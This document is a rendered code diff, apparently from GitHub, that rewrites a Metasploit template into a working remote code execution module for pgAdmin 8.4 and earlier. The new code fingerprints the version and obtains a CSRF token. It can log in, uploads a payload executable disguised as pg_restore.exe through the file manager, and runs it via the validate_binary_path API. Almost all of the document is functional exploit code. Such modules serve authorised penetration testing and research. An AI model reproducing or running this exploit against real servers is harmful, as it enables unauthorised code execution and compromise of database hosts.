4
4
##
5
5
6
6
class MetasploitModule < Msf ::Exploit ::Remote
7
- Rank = ExcellentRanking
7
+ Rank = ExcellentRanking
8
8
9
- #
10
- # This exploit affects a webapp, so we need to import HTTP Client
11
- # to easily interact with it.
12
- #
13
9
prepend Msf ::Exploit ::Remote ::AutoCheck
14
10
include Msf ::Exploit ::Remote ::HttpClient
15
-
16
-
11
+ include Msf :: Exploit :: FileDropper
12
+ include Msf :: Exploit :: EXE
17
13
18
14
def initialize ( info = { } )
19
15
super (
20
16
update_info (
21
17
info ,
22
18
'Name' => 'pgAdmin Binary Path API RCE' ,
23
19
'Description' => %q{
24
- pgAdmin <= 8.4 is affected by a Remote Code Execution (RCE)
25
- vulnerability through the validate binary path API. This vulnerability
26
- allows attackers to execute arbitrary code on the server hosting PGAdmin,
27
- posing a severe risk to the database management system's integrity and the security of the underlying data.
20
+ pgAdmin <= 8.4 is affected by a Remote Code Execution (RCE)
21
+ vulnerability through the validate binary path API. This vulnerability
22
+ allows attackers to execute arbitrary code on the server hosting PGAdmin,
23
+ posing a severe risk to the database management system's integrity and the security of the underlying data.
28
24
29
- Tested on pgAdmin 8.4 on Windows 10.
25
+ Tested on pgAdmin 8.4 on Windows 10 both authenticated and unauthenticated .
30
26
} ,
31
27
'License' => MSF_LICENSE ,
32
28
'Author' => [
33
29
'M.Selim Karahan' , # metasploit module
30
+ 'Mustafa Mutlu' , # lab prep. and QA
34
31
'Ayoub Mokhtar' # vulnerability discovery and write up
35
32
] ,
36
33
'References' => [
@@ -45,7 +42,6 @@ def initialize(info = {})
45
42
] ,
46
43
'DisclosureDate' => '2024-03-28' ,
47
44
'DefaultTarget' => 0 ,
48
- # https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html
49
45
'Notes' => {
50
46
'Stability' => [ CRASH_SAFE , ] ,
51
47
'Reliability' => [ ARTIFACTS_ON_DISK , CONFIG_CHANGES , IOC_IN_LOGS , ] ,
@@ -55,107 +51,178 @@ def initialize(info = {})
55
51
)
56
52
register_options (
57
53
[
58
- Opt ::RPORT ( 80 ) ,
59
- OptString . new ( 'USERNAME' , [ false , 'User to login with' , 'admin ' ] ) ,
60
- OptString . new ( 'PASSWORD' , [ false , 'Password to login with' , '123456 ' ] ) ,
61
- OptString . new ( 'TARGETURI' , [ true , 'The URI of the Example Application' , '/example/ ' ] )
54
+ Opt ::RPORT ( 8000 ) ,
55
+ OptString . new ( 'USERNAME' , [ false , 'User to login with' , '' ] ) ,
56
+ OptString . new ( 'PASSWORD' , [ false , 'Password to login with' , '' ] ) ,
57
+ OptString . new ( 'TARGETURI' , [ true , 'The URI of the Example Application' , '/' ] )
62
58
]
63
59
)
64
60
end
65
61
66
- #
67
- # The sample exploit checks the index page to verify the version number is exploitable
68
- # we use a regex for the version number
69
- #
70
62
def check
71
- # only catch the response if we're going to use it, in this case we do for the version
72
- # detection.
73
- res = send_request_cgi (
74
- 'uri' => normalize_uri ( target_uri . path , 'index.php' ) ,
75
- 'method' => 'GET'
76
- )
77
- # gracefully handle if res comes back as nil, since we're not guaranteed a response
78
- # also handle if we get an unexpected HTTP response code
79
- return CheckCode ::Unknown ( "#{ peer } - Could not connect to web service - no response" ) if res . nil?
80
- return CheckCode ::Unknown ( "#{ peer } - Check URI Path, unexpected HTTP response code: #{ res . code } " ) if res . code == 200
63
+ version = get_version
64
+ return CheckCode ::Unknown ( 'Unable to determine the target version' ) unless version
65
+ return CheckCode ::Safe ( "pgAdmin version #{ version } is not affected" ) if version >= Rex ::Version . new ( '8.5' )
66
+
67
+ CheckCode ::Vulnerable ( "pgAdmin version #{ version } is affected" )
68
+ end
81
69
82
- # here we're looking through html for the version string, similar to:
83
- # Version 1.2
84
- %r{Version: (?<version>\d {1,2}\. \d {1,2})</td>} =~ res . body
70
+ def set_csrf_token_from_login_page ( res )
71
+ if res &.code == 200 && res . body =~ /csrfToken": "([\w +.-]+)"/
72
+ @csrf_token = Regexp . last_match ( 1 )
73
+ # at some point between v7.0 and 7.7 the token format changed
74
+ elsif ( element = res . get_html_document . xpath ( "//input[@id='csrf_token']" ) &.first )
75
+ @csrf_token = element [ 'value' ]
76
+ end
77
+ end
78
+
79
+ def set_csrf_token_from_config ( res )
80
+ if res &.code == 200 && res . body =~ /csrfToken": "([\w +.-]+)"/
81
+ @csrf_token = Regexp . last_match ( 1 )
82
+ # at some point between v7.0 and 7.7 the token format changed
83
+ # pgAdmin['csrf_token'] =
84
+ else
85
+ @csrf_token = res . body . scan ( /pgAdmin\[ 'csrf_token'\] \s *=\s *'([^']+)'/ ) &.flatten &.first
86
+ end
87
+ end
88
+
89
+ def auth_required?
90
+ res = send_request_cgi ( 'uri' => normalize_uri ( target_uri . path ) , 'keep_cookies' => true )
91
+ if res &.code == 302 && res . headers [ 'Location' ] [ 'login' ]
92
+ true
93
+ elsif res &.code == 302 && res . headers [ 'Location' ] [ 'browser' ]
94
+ false
95
+ end
96
+ end
85
97
86
- if version && Rex ::Version . new ( version ) <= Rex ::Version . new ( '1.3' )
87
- CheckCode ::Appears ( "Version Detected: #{ version } " )
98
+ def get_version
99
+ if auth_required?
100
+ res = send_request_cgi ( 'uri' => normalize_uri ( target_uri . path , 'login' ) , 'keep_cookies' => true )
101
+ else
102
+ res = send_request_cgi ( 'uri' => normalize_uri ( target_uri . path , 'browser/' ) , 'keep_cookies' => true )
88
103
end
104
+ html_document = res . get_html_document
105
+ return unless html_document . xpath ( '//title' ) . text == 'pgAdmin 4'
106
+
107
+ # there's multiple links in the HTML that expose the version number in the [X]XYYZZ,
108
+ # see: https://github.com/pgadmin-org/pgadmin4/blob/053b1e3d693db987d1c947e1cb34daf842e387b7/web/version.py#L27
109
+ versioned_link = html_document . xpath ( '//link' ) . find { |link | link [ 'href' ] =~ /\? ver=(\d ?\d )(\d \d )(\d \d )/ }
110
+ return unless versioned_link
111
+
112
+ Rex ::Version . new ( "#{ Regexp . last_match ( 1 ) . to_i } .#{ Regexp . last_match ( 2 ) . to_i } .#{ Regexp . last_match ( 3 ) . to_i } " )
113
+ end
114
+
115
+ def csrf_token
116
+ return @csrf_token if @csrf_token
89
117
90
- CheckCode ::Safe
118
+ if auth_required?
119
+ res = send_request_cgi ( 'uri' => normalize_uri ( target_uri . path , 'login' ) , 'keep_cookies' => true )
120
+ set_csrf_token_from_login_page ( res )
121
+ else
122
+ res = send_request_cgi ( 'uri' => normalize_uri ( target_uri . path , 'browser/js/utils.js' ) , 'keep_cookies' => true )
123
+ set_csrf_token_from_config ( res )
124
+ end
125
+ fail_with ( Failure ::UnexpectedReply , 'Failed to obtain the CSRF token' ) unless @csrf_token
126
+ @csrf_token
91
127
end
92
128
93
- #
94
- # The exploit method attempts a login, then attempts to throw a command execution
95
- # at a web page through a POST variable
96
- #
97
129
def exploit
98
- # attempt a login. In this case we show basic auth, and a POST to a fake username/password
99
- # simply to show how both are done
100
- vprint_status ( 'Attempting login' )
101
- # since we will check res to see if auth was a success, make sure to capture the return
102
- res = send_request_cgi (
103
- 'uri' => normalize_uri ( target_uri . path , 'login.php' ) ,
130
+ if auth_required? && !( datastore [ 'USERNAME' ] . present? && datastore [ 'PASSWORD' ] . present? )
131
+ fail_with ( Failure ::BadConfig , 'Application requires authentication, provide credentials!' )
132
+ end
133
+
134
+ if auth_required?
135
+ res = send_request_cgi ( {
136
+ 'uri' => normalize_uri ( target_uri . path , 'authenticate/login' ) ,
137
+ 'method' => 'POST' ,
138
+ 'keep_cookies' => true ,
139
+ 'vars_post' => {
140
+ 'csrf_token' => csrf_token ,
141
+ 'email' => datastore [ 'USERNAME' ] ,
142
+ 'password' => datastore [ 'PASSWORD' ] ,
143
+ 'language' => 'en' ,
144
+ 'internal_button' => 'Login'
145
+ }
146
+ } )
147
+
148
+ unless res &.code == 302 && res . headers [ 'Location' ] != normalize_uri ( target_uri . path , 'login' )
149
+ fail_with ( Failure ::NoAccess , 'Failed to authenticate to pgAdmin' )
150
+ end
151
+
152
+ print_status ( 'Successfully authenticated to pgAdmin' )
153
+ end
154
+
155
+ file_name = 'pg_restore.exe'
156
+ file_manager_upload_and_trigger ( file_name , generate_payload_exe )
157
+ rescue ::Rex ::ConnectionError
158
+ fail_with ( Failure ::Unreachable , "#{ peer } - Could not connect to the web service" )
159
+ end
160
+
161
+ # file manager code is copied from pgadmin_session_deserialization module
162
+
163
+ def file_manager_init
164
+ res = send_request_cgi ( {
165
+ 'uri' => normalize_uri ( target_uri . path , 'file_manager/init' ) ,
104
166
'method' => 'POST' ,
105
- 'authorization' => basic_auth ( datastore [ 'USERNAME' ] , datastore [ 'PASSWORD' ] ) ,
106
- # automatically handle cookies with keep_cookies. Alternatively use cookie = res.get_cookies and 'cookie' => cookie,
107
167
'keep_cookies' => true ,
108
- 'vars_post' => {
109
- 'username' => datastore [ 'USERNAME' ] ,
110
- 'password' => datastore [ 'PASSWORD' ]
111
- } ,
112
- 'vars_get' => {
113
- 'example' => 'example'
114
- }
168
+ 'ctype' => 'application/json' ,
169
+ 'headers' => { 'X-pgA-CSRFToken' => csrf_token } ,
170
+ 'data' => {
171
+ 'dialog_type' => 'storage_dialog' ,
172
+ 'supported_types' => [ 'sql' , 'csv' , 'json' , '*' ] ,
173
+ 'dialog_title' => 'Storage Manager'
174
+ } . to_json
175
+ } )
176
+
177
+ unless res &.code == 200 && ( trans_id = res . get_json_document . dig ( 'data' , 'transId' ) ) && ( home_folder = res . get_json_document . dig ( 'data' , 'options' , 'homedir' ) )
178
+ fail_with ( Failure ::UnexpectedReply , 'Failed to initialize a file manager transaction Id or home folder' )
179
+ end
180
+
181
+ return trans_id , home_folder
182
+ end
183
+
184
+ def file_manager_upload_and_trigger ( file_path , file_contents )
185
+ trans_id , home_folder = file_manager_init
186
+
187
+ form = Rex ::MIME ::Message . new
188
+ form . add_part (
189
+ file_contents ,
190
+ 'application/octet-stream' ,
191
+ 'binary' ,
192
+ "form-data; name=\" newfile\" ; filename=\" #{ file_path } \" "
115
193
)
194
+ form . add_part ( 'add' , nil , nil , 'form-data; name="mode"' )
195
+ form . add_part ( home_folder , nil , nil , 'form-data; name="currentpath"' )
196
+ form . add_part ( 'my_storage' , nil , nil , 'form-data; name="storage_folder"' )
197
+
198
+ res = send_request_cgi ( {
199
+ 'uri' => normalize_uri ( target_uri . path , "/file_manager/filemanager/#{ trans_id } /" ) ,
200
+ 'method' => 'POST' ,
201
+ 'keep_cookies' => true ,
202
+ 'ctype' => "multipart/form-data; boundary=#{ form . bound } " ,
203
+ 'headers' => { 'X-pgA-CSRFToken' => csrf_token } ,
204
+ 'data' => form . to_s
205
+ } )
206
+ unless res &.code == 200 && res . get_json_document [ 'success' ] == 1
207
+ fail_with ( Failure ::UnexpectedReply , 'Failed to upload file contents' )
208
+ end
116
209
117
- # a valid login will give us a 301 redirect to /home.html so check that.
118
- # ALWAYS assume res could be nil and check it first!!!!!
119
- fail_with ( Failure ::Unreachable , "#{ peer } - Could not connect to web service - no response" ) if res . nil?
120
- fail_with ( Failure ::UnexpectedReply , "#{ peer } - Invalid credentials (response code: #{ res . code } )" ) unless res . code == 301
210
+ upload_path = res . get_json_document . dig ( 'data' , 'result' , 'Name' )
211
+ register_file_for_cleanup ( upload_path )
212
+ print_status ( "Payload uploaded to: #{ upload_path } " )
121
213
122
- # we don't care what the response is, so don't bother saving it from send_request_cgi
123
- # datastore['HttpClientTimeout'] ONLY IF we need a longer HTTP timeout
124
- vprint_status ( 'Attempting exploit' )
125
214
send_request_cgi ( {
126
- 'uri' => normalize_uri ( target_uri . path , 'command.html ' ) ,
215
+ 'uri' => normalize_uri ( target_uri . path , '/misc/validate_binary_path ' ) ,
127
216
'method' => 'POST' ,
128
- 'vars_post' =>
129
- {
130
- 'cmd_str' => payload . encoded
131
- }
132
- } , datastore [ 'HttpClientTimeout' ] )
133
-
134
- # send_request_raw is used when we need to break away from the HTTP protocol in some way for the exploit to work
135
- send_request_raw ( {
136
- 'method' => 'DESCRIBE' ,
137
- 'proto' => 'RTSP' ,
138
- 'version' => '1.0' ,
139
- 'uri' => '/' + ( '../' * 560 ) + "\xcc \xcc \x90 \x90 " + '.smi'
140
- } , datastore [ 'HttpClientTimeout' ] )
141
-
142
- # example of sending a MIME message
143
- data = Rex ::MIME ::Message . new
144
- # https://github.com/rapid7/rex-mime/blob/master/lib/rex/mime/message.rb
145
- file_contents = payload . encoded
146
- data . add_part ( file_contents , 'application/octet-stream' , 'binary' , "form-data; name=\" file\" ; filename=\" uploaded.bin\" " )
147
- data . add_part ( 'example' , nil , nil , "form-data; name=\" _wpnonce\" " )
148
-
149
- post_data = data . to_s
150
-
151
- res = send_request_cgi (
152
- 'method' => 'POST' ,
153
- 'uri' => normalize_uri ( target_uri . path , 'async-upload.php' ) ,
154
- 'ctype' => "multipart/form-data; boundary=#{ data . bound } " ,
155
- 'data' => post_data ,
156
- 'cookie' => cookie
157
- )
158
- rescue ::Rex ::ConnectionError
159
- fail_with ( Failure ::Unreachable , "#{ peer } - Could not connect to the web service" )
217
+ 'keep_cookies' => true ,
218
+ 'ctype' => 'application/json' ,
219
+ 'headers' => { 'X-pgA-CSRFToken' => csrf_token } ,
220
+ 'data' => {
221
+ 'utility_path' => upload_path [ 0 ..upload_path . size - 16 ]
222
+ } . to_json
223
+ } )
224
+
225
+ true
160
226
end
227
+
161
228
end
0 commit comments